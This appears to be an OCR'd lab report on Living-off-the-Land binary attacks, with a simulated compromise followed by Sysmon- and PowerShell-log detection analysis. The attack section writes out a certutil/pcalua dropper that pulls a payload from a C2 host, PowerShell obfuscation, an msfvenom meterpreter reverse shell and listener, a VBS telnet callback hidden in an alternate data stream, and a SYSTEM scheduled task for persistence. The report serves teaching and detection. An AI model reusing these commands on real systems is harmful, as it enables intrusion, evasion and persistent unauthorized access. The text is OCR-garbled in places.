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I. Executive Summary

The report delves into the realm of Living-off-the-Land (LotL) binaries, showcasing their dual
nature as legitimate system tools exploited by threat actors to execute malicious activities while
evading conventional security measures. It unfolds a simulated cyber attack, meticulously
detailing each stage involving a Remote Access Trojan (RAT) deployment, Command and
Control (C2) establishment, persistent manipulation of system services, and concealed script
execution within legitimate files. Each step highlights the stealthy tactics employed by

adversaries, emphasizing the challenges in detection and prevention.

In response, the report offers comprehensive insights into detection methodologies, leveraging
network analysis and endpoint scrutiny to trace the attacker's footprint. It delineates mitigation
strategies involving application whitelisting, privilege limitations, behavioral analytics, and user

education to fortify defenses against LotL-based threats.
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I1. Introduction

A. Living-off-the-Land (LotL) Binaries Definition

¢ Living-off-the-Land (LotL) binaries encompass a range of legitimate system tools and
binaries that are exploited by threat actors to execute malicious activities. These binaries,
inherent to the operating system or commonly used software, are leveraged by attackers as
part of their strategies to evade detection. LotL binaries are not inherently malicious
themselves but are utilized by threat actors to perform unauthorized actions on compromised
systems, often bypassing traditional security defenses due to their trusted nature and

essential roles within the operating environment.

B. LotL Binaries' Significance

e The significance of Living-off-the-Land (LotL) binaries lies in their dual nature as both
legitimate system tools and potential avenues for attackers to execute malicious activities.
These binaries, deeply integrated into operating systems or widely used applications, grant
attackers a stealthy means to conduct unauthorized actions, bypassing detection by security
tools that typically focus on identifying known malware. Their significance is underscored
by the challenge they pose to traditional security measures, as attackers exploit these trusted
tools to blend their actions with normal system operations, making detection and prevention

more complex.

C. Report Purpose

o This report aims to simulate cyber attacks leveraging Living-off-the-Land (LotL) binaries,
emphasizing their stealthy nature and potential risks to organizational security. Following
the attack simulations, the report will focus on investigating the tactics used by threat actors,
highlighting the challenges in detecting such attacks. Additionally, it will outline effective
detection methodologies that defenders can operate to identify the techniques associated
with LotL binary-based attacks.

III. Attack Scenario

LOLBIN ATTACK & DEFENSE .
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A. Overview of the attack Scenario

o The attack begins with a malicious payload delivered via email, which installs a Remote
Access Trojan (RAT) upon execution. This RAT establishes a connection to the attacker's
Command and Control (C2) server, providing remote access to the victim's system. To
maintain access, the attacker manipulates the Windows Sysmon service using an Alternate
Data Stream (ADS). Furthermore, a concealed Visual Basic Scripting (VBS) program
embedded within a legitimate executable facilitates a covert connection back to the
attacker's system. Finally, the attacker ensures continuous control by setting up a task
scheduler entry, allowing regular execution of the compromised file for persistent access to
the compromised system.

This sophisticated attack methodology involves multiple stages, including initial infiltration,
C2 establishment, persistence techniques, and the use of concealed scripts within legitimate

files to maintain long-term unauthorized access to the victim's machine.

B. Description of Living-off-the-Land binaries

e LOLBiIns, also known as “Living off the Land Binaries,” are binaries that use legitimate
commands and pre-installed executables of the operating system to perform malicious
activities. LOLBins use local system binaries to bypass detection, deliver malware, and
remain undetected. When leveraging LOLBins, adversaries can improve their chances of
staying unnoticed by using legitimate cloud services (GitHub, Amazon S3 storage, Dropbox,
Google Drive, etc.) and fileless malware.
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Threat actors tend to apply this tactic during the post-exploitation phases of an attack.
Security teams often find LOLBins challenging to identify because of their legitimate
nature. The attackers use the same binaries as the ones utilized for non-malicious purposes.
That’s why it is important for organizations to be aware of the risks LOLBins pose and take

preventive measures to protect their networks.

C. Examples of LotL binaries commonly abused by attackers

Rundl1132

Regsvr32

Msiexec

Mshta

Certutil

MSBuild

WMI command line utility (WMIC)

WMI provider host (WmiPrvSe)

D. Attack Simulation Scenario

1. Initial Compromise: The attacker initiates the attack by sending a malicious payload (PE -

Portable Executable) through email. Upon opening or executing this payload, it installs a
stageless Remote Access Trojan (RAT) onto the victim's system. This installation is
facilitated using PowerShell scripting and the 'certutil' utility.

. Establishing Command and Control (C2): The installed RAT is executed via ‘pcalua’

utility which establishes a connection to the attacker's Command and Control (C2)
infrastructure. This connection provides the attacker with remote access and control over the

compromised machine.

. Persistence Mechanisms: To maintain access to the victim's system over the long term, the

attacker manipulates the Windows Sysmon service by adding an Alternate Data Stream
(ADS) attribute. This unauthorized manipulation allows the attacker to ensure persistence on

the compromised system.

Concealed Script Execution: The attacker employs a Visual Basic Scripting (VBS)

program that establishes a covert connection back to the attacker's system. To evade
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detection, the VBS script is concealed within a legitimate executable file. When executed,

this deceptive file activates the hidden VBS script.

5. Establishing Continuous Access: To ensure continuous access and control, the attacker sets
up a task scheduler entry. This entry is configured to regularly execute the compromised
executable file, thereby maintaining the attacker's ongoing presence and control over the

victim's system.

Technical details

¢ Firstly, we will create a Powershell script that will act as a dropper to drop the stageless
revere shell from attacker C2 server by abusing certuil built-in utility on windows, and
execute the reverse shell via pcalua utility as another separated process after the reverse
shell got installed. Moreover, the reverse shell will be installed at ‘C:\Windows’.

$url = 'http://192.168.1.183:8000/Edgeupdate.exe’';$localPath = Join-Path 'Edgeupdate.ex
e';certutil.exe -urlcache -split -f $url $localPath;Start-Process pcalua -ArgumentList "-a
$localPath";exit;

¢ In order to evade detection, we will obfuscate our PowerShell script via Invoke-Obfsuctation

module.

Import-Module ./Invoke-Obfuscation.psdil
Invoke-Obfuscation
SET SCRIPTBLOCK <Powershell script/command>

~[~/powe/Invoke-0Obfuscation]

Out-SecureStringCommand.psl
ommand.psl README.md
nmand.ps1 f [: mmand.psl
mmand.psl LL: s1

.psdl Invoke-Obfuscation.psml

/home/abdullah/powe/Invoke-Obfuscation

[Import-Module . /Invoke-Obfuscation.psdl]

/home/abdullah/powe/Invoke-0Obfuscation

LOLBIN ATTACK & DEFENSE .
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¢ Now we will use the below techniques to obfuscate our script:
o Concatenate entire command

o Reorder entire command after concatenating

STRING
1
2

¢ Now its time to convert our obfuscated PowerShell command to portable executable in order
to send it to the victim.

o We will use PS2EXE module but the GUI version.

i MY Win-PS2EXE — O X

Win-PS2EXE: Graphical front-end to PS2EXE

: Source file; [ CAUsers\Administrator\Desktop\Real-Temphalhakami-drapper.ps1 | | |

| Target file: ChUsers\Administrator\Desktop'\Real-Tem p\Outputtttt-EXE I:l
i lcon file: Iil
! Version: 2.1 File description: |Caution

Product name: | @Alhakamil_ Copyright: |Abdullah Ali Alhakami

Compile a graphic windows program (parameter -noConsaole)

Suppress output (-noOutput) Suppress error output (-noErmror)

Require administrator rights at runtime (parameter -requireAdmin)
=TT e

Thread Apartment State: ® STA () MTA  Platform: | AnyCPU

Parameters:

Compile | | Cancel

LOLBIN ATTACK & DEFENSE .
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¢ Now we will rename the portable executable to UpdateCheck.exe and we will send it to the

victim and we will wait for any interaction!
e Let’s prepare our C2 infrastructure to be prepared for victim connection.

o Creating meterpreter stageless payload

sudo msfvenom -p windows/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -
o Edgeupdate.exe -e x86/shikata_ga_nai

o Starting http server via python.

python3 -m http.server

Alhakami-C2 xe DiskCleaner.exe [HiISEIRPE Normal-Test.exe xe unMe.exe Update.exe
Googlellpdate.exe Norm
Norms

= -m http. ver
Serving HTTP on 0.0.¢ port 8000 (htt
|

o Also let’s activate our meterpreter listener.

use multi/handler

set PAYLOAD windows/meterpreter_reverse_tcp
set lhost <IP>

set lport <PORT>

run/exploit

a b~ 0N B

Using configured payload windows/meterpreter_reverse
exploit( | PAYLOAD windows),
0OAD = windows/meterpreter rerse_tcp
1 ( ) > set lhost 192.168.1.183

[

o —

lport 2626

192.168.1.183
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o Finally we will also activate netcat to listen for the persistence Reverse Shell that will

be created later!

nc -nlvp <PORT>

rving HTTP on
.168.1.6

-

= o+
. =+
=

=

t14]
50 ]
p] "GET

[ B I e W o |

e TCP handler on - .
ssion 1 opened (1 6 . —+ 192.168.1.6:498 ) at : ] 117 -@500

> getuid
DESKTOP-D19DJITANALhakami

¢ Now let’s upload our vbs script and store it on ADS

Option Explicit: Dim ipAddress, port, objShell, strCommand: ipAddress = "192.168.1.18
3": port = 2628: Set objShell = CreateObject("WScript.Shell"): strCommand = "telnet "
& ipAddress & " " & port: objShell.Run strCommand, 0, False: Set objShell = Nothing

mphupdateEdge

LOLBIN ATTACK & DEFENSE . 10
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\Alhakami\Desktop\Tools" Sysmon>dir

Volume in drive C has
Volume rial Number is

Directory of C ers\ smon

15 AM
15 AM

\Temp\updateEdge > Sysmon64.exe:Auto.vbs

smon>|

e Then we will set taskscheduller to execute the below visual basic script.

schtasks /Create /SC DAILY /TN "Sysmon start" /TR "wscript C:\Users\Alhakami\Desktop
\Tools\Sysmon\Sysmon\Sysmon64.exe:Auto.vbs" /ST 10:00 /RU SYSTEM /RL HIGHEST /F

on>schtasks /Create /SC DAILY /TN "Sysmon start™ /TR "wscript C:\Users\Alhakami\Desktop\Tools\Sysmon\Sysmon\Sysmon64.exe:Aut

rs\Alhakami\Desktop\Tools\Sysmon\Sysmon\Sysmon64.exe:Auto.vbs” /ST 10:00 /RU SYSTEM /RL HIGHEST /F
ed.

rsmontd.exe:Auto.vbs

2628

listening on [any] 2628 ...

connect to [192.168.1.183] from (UNKNOWN) [192.168.1.6] 49864

LOLBIN ATTACK & DEFENSE .
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V. Defender's Perspective

T1210 7 T1020
T1534 )7

T1140
T1006
84

T1040
T1204.002 8 TLO
T1204.001

A. Detecting The Attack

¢ In this section, we will explore methods and techniques for detecting the previous conducted
attack that utilized the Living-off-the-Land (LotL) binaries. Detecting such attacks requires a
comprehensive understanding of the subtle signs and behaviors that might indicate malicious

activities facilitated by legitimate system tools.

= & UpdateCheck exe (5732) Caution Calsers‘\Alhakami'Downloads'WMail\ UpdateChech exe
% Conhost exe (1104) Console Window ... C\Windows"\System32"Conhost exe
'%}cenmil.exe (7252) Cert kil exe CWindows \system 32 certutil. exe
= pcalua.exe (7284) Program Compatib... C\Windows'system32\pcalua exe
W] Edgeupdate exe (6212) |ApacheBench co... C:\Windows"\Edgeupdate exe
[l g omd exe (5172) Windows Comma... C:\Windows'\System32'cmd exe
g% Conhost exe (7436) Console Window ... C\Windows\System32"Conhost exe
[=) g wscript.exe (4048) Microsoft @ Wind... C\Windows"\system32wscript exe
= ﬂtelne’c.exe 1772) Microsoft Telnet C... C\Windows\System32\telnet exe
B8 Conhost exe (3232) |Console Window ... C:\Windowsh\System32\Conhost exe

Technical details

LOLBIN ATTACK & DEFENSE .
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e We will start by analyzing the network traffics to identify any malicious activity. Then we

can start from that point to track the attacker activities.

¢ We found an HTTP request triggered via Microsoft-CryptoAPI, which is weird from
192.168.1.183 server.

No. Time: Source Source Port Destination Destination Port  Protocol Host Lengt Name

17965 2023-11-18 21. 192.168.1.6 29860 192.168.1.183 8000 HTTP 192.168.1.183:5600 230

17966 2623-11-18 21.. 192.168.1.183 8008 192.168.1.6 49360 TcP 66

17967 2623-11-18 21.. 192.168.1.183 8006 192.168.1.6 49860 TcP 261

17968 2023-11-18 21. 192.168.1.183 8006 192.168.1.6 49850 TCP 1514
> Frame 17965: 23@ bytes on wire (184@ bits), 230 bytes captured (1840 bits) 83 06 27 Bc 5a 63 @3 @ 27 35 4d d@ 05 06 45 00 T Zh-- 8M - E
> Ethernet II, Src: PcsCompu_38:4d:d@ (88:8@:27:38:4d:d@), Dst: PcsCompu_S8c:5a:68 (88:88:27:8c:5a:68) 88 d8 d4 9c 46 @8 86 @6 0@ 8@ c@ ag 91 96 c@ aB
> Internet Protocol Version 4, Src: 192.168.1.6, Dst: 192.168.1.183 e 8L b7 c2 ;‘; ol ‘;g 99 6d 35 8b 16 6b bé 6b 50 18 @ kp

e X X X X . 1 geul

> : & : 2 : 1, + L, i
2 Transmission Control Protocol, Src Port: 49860, Dst Port: 8608, Seq: 1, Ack: 1, Len: 176 oo T o T

EEEcach e-Contro
1: no-ca che: -Con

Hypertext Transfer Protocol 2050
> iGET Fedgeupdate.exe HTTP/L.1\r\n |

Cache-Control: no-cachevrin 6e 65 63 74 69 6F 6e 3a 20 4b 65 65 78 2d 41 6c  nection: Keep-Al
Connection: Keep-Alive\r\n 69 76 65 @d @a 58 72 61 67 6d 61 3a 28 Ge 6f 2d  ive -Pra gma: no-
Pragma: no-cache\r\n 63 61 63 68 65 @d @a 41 63 63 65 7@ 74 3a 20 2a  cache ‘A ccept: *
Accept: */*\r\n 2f 2a @d @a 55 73 65 72 2d 41 67 65 6e 74 3a 28 /T -User -Agent:

o Microsoft-CrumtorPL/10.0vn 4d 69 63 72 6f 73 6 66 74 2d 43 72 79 70 74 6f  Microsof t-Crypto
41 56 49 2 31 30 2e 30 6d Ba 48 6F 73 74 3a 26 API/16.@ - -Host:

3139 32 2e 31 36 38 2e 31 2e 31 38 33 3a 38 38 192.168. 1.183:80

3@ 30 od @a ed @a ea

[Full request URT: http://192.168.1.163:5006, e.exe]

[HTTP request 1/1]

Response in frame: 18156,

o After analyzing the response packet! we identify that it is an Portable Executable that
has been downloaded by Microsoft-CryptoAPI. This is a native Windows useragent that
is used specifically by Certutil URL Agent.

ache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Accept: */*

User-Agent: Microsoft-CryptoAPI/18.8
Host: 192.168.1.183:8008

HITP/1.@ 206 Ok

Server: SimpleHTTP/@.6 Python/3.18.4
ate: sat, oV 28 T
Content-type: application/x-msdos-program
Content-Length: 258368

Last-Modified: Mon, 13 Nov 2823 18:57:14 GMT

--A..D@A....A.3..HGA.W.E.S.M.PQ. .. A.D.@...@<A. ..

L@A.RP.U.QR.DJ...U..E..M.POh..@.R..]....

A
h.
h.
h.
A-
{.
t.
X.
h

t.
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Now let’s dig deeper by analyzing the endpoint and identify how this request has been
triggered? Aligning with timeline, we will track the past activity on the endpoint.

We noticed the end-user clicked an attachment called UpdateCheck.exe!

Microsoft-Windows-Sysmon%40perational Number of events: 1,146

Level Date and Time Source Event|D  Task Category
(i) Information 11/18/2023 8:20:10 PM Sysmon 1 Process Create (rule:...
Event 1, Sysmon x

General Details

Description: Caution
Product: @Alhakamil_
Company: -

= = 3
CommandLine: "C:\Users\Alhakami\Downloads\Mail\UpdateCheck.exe”
urrentDirectory: T
User: DESKTOP-D19DITAAIhakami
LogonGuid: {11af6b26-fbac-6558-5042-040000000000}
Logonld: 0x44250
TerminalSessionld: 1
IntegrityLevel: Medium
Hashes: MD3=3C136B32E4EEATTCABLATI4T40474BC3,5HA236
=E0A3TFADB36708151253600C0BA3093A26E187387DADFB306D63B3FETFA12713 IMPHASH=F34D5F2D4577EDGDOCEECS16CTF5ATA
ParentProcessGuid: {11afEb26-fbb6-6558-7600-000000000a00}
ParentProcessld: 4056

Parentlmage: C\Windows\explorer.exe
ParentCommandLine: C\Windows'\Explorer.EXE
ParentUser: DESKTOP-D19DJTA\Alhakami

o After that we noticed, Powershell script that was created in temp directory. This script
is executed before running any Powershell script to check the Applocker policy or
restriction on scripts execution. However, this is a great indicator of PowerShell script
execution. In other words, the UpdateCheck.exe (Attachment) got executed then it
execute a Powershell script.

Microsoft-Windows-Sysmon%40perational MNumber of events: 1,146

Level Date and Time Source Event D Task Category
@Im‘ormation 11/18/2023 9:20:10 PM Sysmon 11 File created (rule: Fil...

Event 11, Sysmon

General Details

File created:
RuleMarne: -
UtcTime: 2023-11-18 18:20:10.442
ProcessGuid: {11af6b26-003a-6559-5901-000000000a00}
Processld: 5732
rmage: Chlsers\AlhakamiDownloads\Mail\UpdateCheck.exe
argetFilename: C\Users\Alhakami\AppDataiLocal\Temp'_ PS5criptPolicyTest_jrdricgc.tdn.psi
CreationUtc Time: 2023-1T1-18 18:.20:10.44.2
User: DESKTOP-D19DITAVAIhakami

o Let’s analyze the executed PowerShell by analyzing the 4104 PowerShell event ID. We

can tell this is an obfuscated PowerShell script!

LOLBIN ATTACK & DEFENSE
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Microsoft-Windows-PowerShell%:40perational MNumber of events: 1,234

Level Date and Time Source EventID  Task Category
o‘u’erbose 11/18/2023 9:20:10 PM PowerShell (Microsoft-... 4104 Execute a Remote Com...
Event 4104, PowerShell (Microsoft-Windows-PowerShell) x

General Details

Creating Scriptblock text (1 of 1):

ieX ({40 17HTTHEOH 6268 B0 920N 132 23124 10067 H99H 35 29} 128 {30164 131 {12257 {111 {4778 {108 {28 { 158063 {961 16}{82}1{ 134}
{12959 2H8TH13H 116429021 {118 75K 9TH 10K 115461 71 {44 {38 94112683 52 {106 { 117 {41 {39H 570 101 {58 103 {86 {6 H 7643 19H2TH T}
{53037 1T H60H 54 24 7O 45 26 112151 {55 H B4 1236 1 {127 H4H 74491 120 114 }{ 10981123 {9531 {85 {6533 {8 18 133 {34 {121 {88} 107}{ 125}
{98 72132161 {1021 1301991 {56 { 11048662593 H S0 113 104 14310573 H 119520} 22}" -£'0",'QY, 'steROC+ R, '[c','0Q+R",'IR",'Q+ROQ',' -f
¥','0QiR0C+ROQ,'RePLACERD",'0Q','ROCUROQ, 'Pr','QmR','DzQROC, ", 'Q+R','9aR0Q+ R0CIocalPath = JoROQ+R0Qin-ROQ+",'Q+ROQ%aurl’,'sROQ+",'RD’,"&(
SK3ENv:CoMS', "ot DR','pEc[4,15,25]-joINROQROCY)",'ROC+R','+ROQI ROQ+ROQYRO','134

-','00+R0Q,'Q+ROCK,'0,'0Q+R0",'ROC+ RO, tR,'Q+ ROQathaxROQ+ ROQC, 'O+ R’ 'a R','0Q52.R",'oR0’,'Q%aR0C+ ", 'Q; cROQ+ ROCQeR0C+ ROOY, -u',!
((ROQYRO','ROCe ','00", 1", 'e.exeDz','ROC+ROQocR,'00+R0','00euR00+R','Qa','ROQ RO+ R, 'I','ath; StarR0",'CHIROQ,'ROCQ+ RO, 'QrROQ','Q,'Q,
[','8R0OQ+ROCY,'0QcachROQ+ROCY, 'v:Sy','+R0','eR0C+R',' =R0OC+R0Q D','Q,'Q,'0",'x CROC, [chAR', 'R’ 'ROQY,'00+R0CY, '0Q+R','Qdat’,'0’,'c’, 0Qess
pcaluR0C+R00QaR00+",'QEdgeuRl’,'pIROC+ROQ, 'R, '0Qpdate’,'Q+R0Q9aR0C+ROQI", ' +ROQzQ','ROCguRO’,'ROQP",'Q+RO",'+ROQt-",'00+ROQLR','0','0",'0QY
9aR0C+','0",'+ROQY,'QY9aR0’,'htROC+R', 'Rep’,'t','ROQmMenR0Q+ RO, 'zQ;R0C+ROQY",'Q+R"'IPR’,'0Q1R0Q+R','C+",'0QIR0C+R','0','e -sR"," ROQY,'hAR]39)
G''+R''ROCY,".ROQ+R0QexeR00+ROQDR", 'O+, 'chAR]36 -

ReplacERD','000/EdgROC+R,'alP","acE','ARDQ+ROQrRO’, 'pR', "ok, '00.ROC+ROQexROO+",'00+R00Z', 'L, '0Q-','00+R','00+ROQ183:R0Q+R0Q,'Q+",'00p://RO
"loca’,'uRD','+ROQcR,'Q1", 'Saen’, ' Cxit;ROCY) -C','68.1.R", 'Ot 'ROCE axC-','ath ¥')) -cRePIACe'Gel' [cHAR]124 -rePlacE '5K3',[cHAR]36 -rePlacE ([cHAR]
82+[cHAR]48+[cHAR]81),[cHAR]39))

ScriptBlock ID: 72fbe5d9-bbeb-4ab7-9460-d33fb31f67d2

o Thanks to 4104 event id it also deobfuscate the script for us.

Microsoft-Windows-PowerShell%40perational Number of events: 1,234

Lewvel Date and Time Source EventID Task Category

O Verbose 11/18/2023 8:20:10 PM PowerShell (Microsoft-... 4104 Execute a Remote Com...

) Verbose 11/18/2023 8:20:10 PM PowerShell (Microsoft-... 4104 Execute a Remote Com...
Event 4104, PowerShell (Microsoft-Windows-PowerShell) x

General  Details

Creating Scriptblock text (1 of 1%
Burl = 'http://192.168.1.183:8000/Edgeupdate.exe’:SlecalPath = Join-Path $env:SystemRoot 'Edgeupdate.exe’;certutil.exe -urlcache -split -f Surl
BlocalPath;Start-Process pealua -ArgumentList “-a SlocalPath”;exit;

ScriptBlock ID: 01f2cdbe-b45a-4926-87f1-fcfebc3T24e6
Path:

o From the above commands, we can tell that it will download Edgeupdate.exe from
192.168.1.183 by abusing Certutil built-in utility to avoid detection then store it in
C:\Windows\Edgeupdate.exe. After that it will abuse pcalua built-in executable to

execute the Edgeupdate.exe.

e Let’s verify our assumption. We noticed the execution of Certutil.exe to drop the malicious
payload.
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Microsoft-Windows-Sysmon%40perational Number of events: 1,146

Level Date and Time Source Event D' Task Category
(i) Information 11/18/2023 9:20:10 PM Sysmon 1 _Process Create (rule:...
Event 1, Sysmon x

General Details

Description: Certbtilexe

Product: Microsoft® Windows® Operating System |

Company: Microsoft Corporation

ommandLine: "C:\Windows\system32\certutil.exe" -urlcache -split -f http://122.168.1.183:2000/Edgeupdate.exe C\Windows\Edgeupdate.exe I
Currentlhrectory: U\Users\Alhakami\Uownloads\Mail\

User: DESKTOP-D9DITA\Alhakami

LogonGuid: {11af6b26-fbac-6358-1842-040000000000}
Logonld: Ox44218

TerminalSessionld: 1

IntegrityLevel: High

Hashes: MD5=018796D4670AC12865BE2F00382BBCEE, SHA256=
22D1471ED17CA81AAS580C59712005E1 CT0EFIC306CEBCAD245ABAFTDFAEATEAT IMPHASH=96112B6B6508D4708E100FOCAG44FDAT
ParentProcessGuid: {11aféb26-005a-6559-5901-000000000a00}

d- 5730

Parentimage: C:\Users\AlhakamitDownloads\Mail\UpdateCheck.exe
ParentCommandLine: "C:\Users\Alhakami\Downloads\Mail\UpdateCheck.exe”

Microsoft-Windows-Sysmon®:40perational MNumber of events: 1,146

Level Date and Time Source Event I} Task Categery
(i) Information 11/18/2023 9:20:10 PM Sysmeon 11 File created (rule: Fil...

Event 11, Sysmon

General Details

File created:
RuleMame: EXE

UtcTime: 2023-11-18 18:20:10.802

ProcessGmd {11affib26-005a-655%-5b01-000000000a00}
d: 7252

mage: C\Wmdows\system%ﬂ\certutll exe
argetFilename: C\Wlndows\Edgeupdate Exe
reationUtc [ime: o | Rl

User: DESKTOP- D'IQDJTA\AIhakaml

o We also noticed the execution of the malicious payload via pcalua.exe!
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Microsoft-Windows-Sysmon®:40perational MNumber

Level Date and Time Source Event D Task Category
(i) Information 11/18/2023 9:20:10 PM Sysmon 1 _Process Create (rule:...
Event 1, Sysmon x

General  Details

Description: Program Compatibility Assistant
Toduct: Microsolt® Windows® Operating systemn |
Company: Microsoft Corporation
OriginalFileMame: - _
ommandLine: "C:\Windows\system32\pcalua.exe" -a C:\Windows\Edgeupdate.exe |
CurrentDirectory: Cilsers\Alhakami\DownloadsiMail\
User: DESKTOP-D19DJTA\Alhakami
LogonGuid: {11af6b26-fbac-65358-1842-040000000000}
Logonld: x44218
TerminalSessionld: 1
IntegrityLevel: High
Hashes: MD5=58BB2A20C7241268260BD3E1FE2BEGAD, SHA256
=BC5AC65CD6TF1BI34B1CD2FB2735A5BDDEBS4CADS745EF33884EAB08D37E6R43, IMPHASH=5AD5C5412DDBD3C0O76272C60FATFDDAC

ParentProcessld: 3732

Parentlmage: C:\Users\Alhakami\Downloads\Mail\UpdateCheck.exe
ParentCommandLine: "C:\Users\Alhakami\Downloads\Mail\UpdateCheck.exe"
[ParentUser: DESKIOP-DTO0] 1A ATRakarmi

o After that the malicious Portable Executable attachment process got termintated. This is
a clear of the mission of that payload! It is a dropper.

Microsoft-Windows-Sysmon%40perational Number of events: 1,146

Level Date and Time Source EventID  Task Category
(@) Information 11/18/2023 9:20:10 PM Sysmon 5 Process terminated (...
Event 5, Sysmon x

General Details

l Process terminated: I
uleiName: -
UtcTime: 2023-11-18 18:20:10.949
ProcessGuid: {11af6éb26-005a-6559-5901-000000000a00}
Processld: 5732
Image: C:\Users\Alhakami\Downloads\Mail\UpdateCheck.exe |
SEn - akami

o Then the malicious Portable Executable Edgeupdate.exe got executed, which triggered
an dns query to the attacker machine.
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Microsoft-Windows-Sysmon%40perational MNumb

Level Date and Time Source Event ID  Task Category
(i) Information 11/18/2023 9:20:11 PM Sysmon 1 _Process Create (rule....
Event 1, Sysmon x

General Details

Description: ApacheBench command line utility
Product: Apache HTTP Server

i OriginalFileMame: ab.exe I

CommandLine: "C\Windows\Edgeupdate.exe’ |
Currentlhirectory: Cillsers\Alhakami\Downloads\Mail\

User: DESKTOP-D19DJTAAlhakami

LogenGuid: {11af6b26-fbac-6558-1842-040000000000}
Logonld: (x44218

Terminal5essionld: 1

IntegrityLevel: High

Hashes: MD5=0B30B5240795F5963D5F2B5C319BD2CE, SHA256
=ADD3TB6E0732ATE24A0CA98AA43B1 DAFSEAGBDICE14F30TF3974EATBFOO1FA38DA, IMPHASH=481F47EBB2COC21E108D65F52B04C448
ParentProcessGuid: {11af6b26-005a-6559-5c01-000000000a00}

1ParentProces;Id: 7284 —

Parentlmage: C\Windows\5ystem32\pcalua.exe

ParentCommandLine: "C\Windows\system32\pcalua.exe” -a C\Windows'\Edgeupdate.exe
Iparenmsen DESKTOP-D 190 A ATRakari

Microsoft-Windows-Sysmon¥%40perational MNumbe

Level Date and Time Source Event |D Task Category
(@) Information 11/18/2023 9:20:11 PM Sysmon 22 Dns query (rule: Dns...

Event 22, Sysmon

General Details

['ns query:
RuleMame: -
UtcTime: 2023-11-18 18:20:40.269
ProcessGuid: {11af6b26-005b-6559-5d01-000000000a00}
)
Processld: 6212
’ QueryMame: 192,168.1.183
QueryStatus: 0

Image: C:\Windows\Edgeupdate.exe

e We can tell that Edgeupdate is revere shell since it is communicating with attacker C2 server
192.168.1.183 and it initiate a cmd shell.
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Microsoft-Windows-Sysmon%*40perational Number of events: 1,146

Level Date and Time Source Event ID Task Category
@ Information 11/18/2023 9:26:33 PM Sysmon 1 Process Create (rule:...

Event 1, Sysmon

General Details

Description: Windows Command Processor
Product: Microsoft® Windows® Operating System
Company: Microseft Corperation

QrginalfileName Crod.Exe
CommandLine: CA\Windows\system32\cmd.exe
UMENTDITECLOTy: L \JSErs akarmnpownicadsuviaily

User: DESKTOP-D190UTA Alhakami

LogonGuid: {11aféb26-fbac-6558-1842-040000000000}
Logonld: (x44218

TerminalSessionld: 1

IntegrityLevel: High

Hashes: MD5=DOFCE3AFAGBAATD5BCEIFAIIGCCIBGTSE, SHA256=

4DA%FC34D5F0FIBABD022271C585A9477BF41EA34E46E 991 DEAADSIOFDB25E22, IMPHASH=3092B4D61B1D1DADC1FOG444DF258188A
ParentProcessGuid: {11af6b26-005b-6559-5d01-000000000a00}

BarentBrocessid: £217

Parentlmage: C\Windows\Edgeupdate.exe
ParentCommandLine: "C:\Windows\Edgeupdate.exe"
Parentlser: DESKTOP-D13DITA\Alhakami

After that we noticed an alternate data stream creation on Sysmon64.exe via cmd! The ADS

called Auto.vbs. Let’s analyze the purpose of that visual basic script.

Microsoft-Windows-Sysmon%40perational Number of events: 1,146

Level Date and Time Source Event ID  Task Category
CB Information 11/18/2023 9:28:19 PM Sysmon 11 File created (rule: Fil...
Event 11, Sysmon x

General Details

UtcTime: 2023-11-18 18:28:19.439

ProcessGuid: {11affb26-01d3-6553-6801-000000000a00}

42130

Image: C:\Windows\SysWOW6eH cmd.exe

argetFilename: C\Users\Alhakami\Desktop' Tools\Sysmon'Sysmon'\Sysmonbd.exe:Auto.vbs
TeationUte [ime: 2023- 11-09 19:15:46.000

User: DESKTOP-D19DITA\Alhakami

o Before that, we found the data stream! As it is presented below, it will connect to
attacker C2 on port 2628 using telnet protocol.
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Microsoft-Windows-Sysmon240perational MNumber of events: 1,146

Lewvel Date and Time Seurce Event ID Task Category
@ Information 11/18/2023 9:28:19 PM Sysmon 15 File stream created |...

Event 15, Sysmon

General  Details

File stream created:

RuleMame: -

UtcTime: 2023-11-18 18:28:19.439

ProcessGuid: {11af6b26-01d9-6559-6801-000000000a00}

4. 2132

Image: C\Windows\5ysWOWBS\cmd.exe

TargetFilename: C:\Users\Alhakam\Desktop'Tools\Sysmon'Sysmon'Sysmonbd.exe:Auto.vbs
CreationUtcTime: 2023-11-09 19:15:46.000

Hash: MD3=DD51D833CAGEATES1CRIBAFAG243AFB S, SHAZ56= 8422E64E122DA5B92C1D4A233E1C436097AF3D1FOODTED 13601 308E34B9F966E, IMPHASH=
DONONNONNANNANNGNONNNANANANNNNNN

Contents: Option Explicit: Dim ipAddress, port, objShell, strCommand: ipAddress = "192.168,1.123" port = 2628 Set objShell = CreateObject
("W5cript.Shell"): strCommand = "telnet " & ipAddress & " " & port: objShell.Run strCommand, 0, False: Set objShell = Mothing

e R TP Er e T AT T itaT

T

The attacker after that created an scheduled task to execute the above data stream. The task
called Sysmon start

Microsoft-Windows-Sysmon¥*40perational Number of events: 1,146

Lewvel Date and Time Source Event ID  Task Categery

@ Information 11/18/2023 9:30:28 PM Sysmon 1 Process Create (rule:...

Event 1, Sysmon

General Details

Process Create:

RuleMame: -

UtcTime: 2023-11-18 18:30:28.623
ProcessGuid: {11af6b26-02c4-6559-7301-000000000a00}
(Process|d; 2676

Image: CA\Windows\SysWOWEN schtasks.exe

)

Description: Task Scheduler Configuration Tool

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

OriginalFileMame: schtasks.exe

CommandLine: schtasks /Create /5SC DAILY /TN "Sysmon start™ /TR "wscript ChlUsers\Alhakamit\Desktop Tools\Sysmon\Sysmaon
Sysmonbd.exetuto.vbs” /ST 10:00 /RU SYSTEM /RL HIGHEST /F

Currentlhrectony: Cl\Users\Alhakami\Uesktoph [ools\Sysmonisysmon’

User: DESKTOP-D19DJTAVAlhakami

LogonGuid: {11aféb26-fbac-6558-1842- 040000000000}

Logonld: O0x44218

TerminalSeccinnld: 1
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Microsoft-Windows-Sysmon%40perational Number «

Lewvel Date and Time Source Event D Task Category
@ Information 11/18/2023 9:30:28 PM Sysmon 11 File created (rule: Fil...
Event 11, Sysmon »

General Details

File created:

RuleMame: T1033

UtcTime: 2023-11-18 18:30:28.760

ProcessGuid: {11af6b26-ebb9-6558-1d00-000000000a00}
Processld: 1136

Image: C\Windows'system32\svchost.exe

TargetFilename: C:\Windows\System32\Tasks\Sysmon start
CreationUtcTime: 2023-11-18 18:30:28.760

User: NT AUTHORITY\SYSTEM

¢ Finally, we saw the execution of the ADS visual basic script, which then use telnet
immediately.

Microsoft-Windows-Sysmon%40perational MNumber of

Level Date and Time Source Event ID Task Category
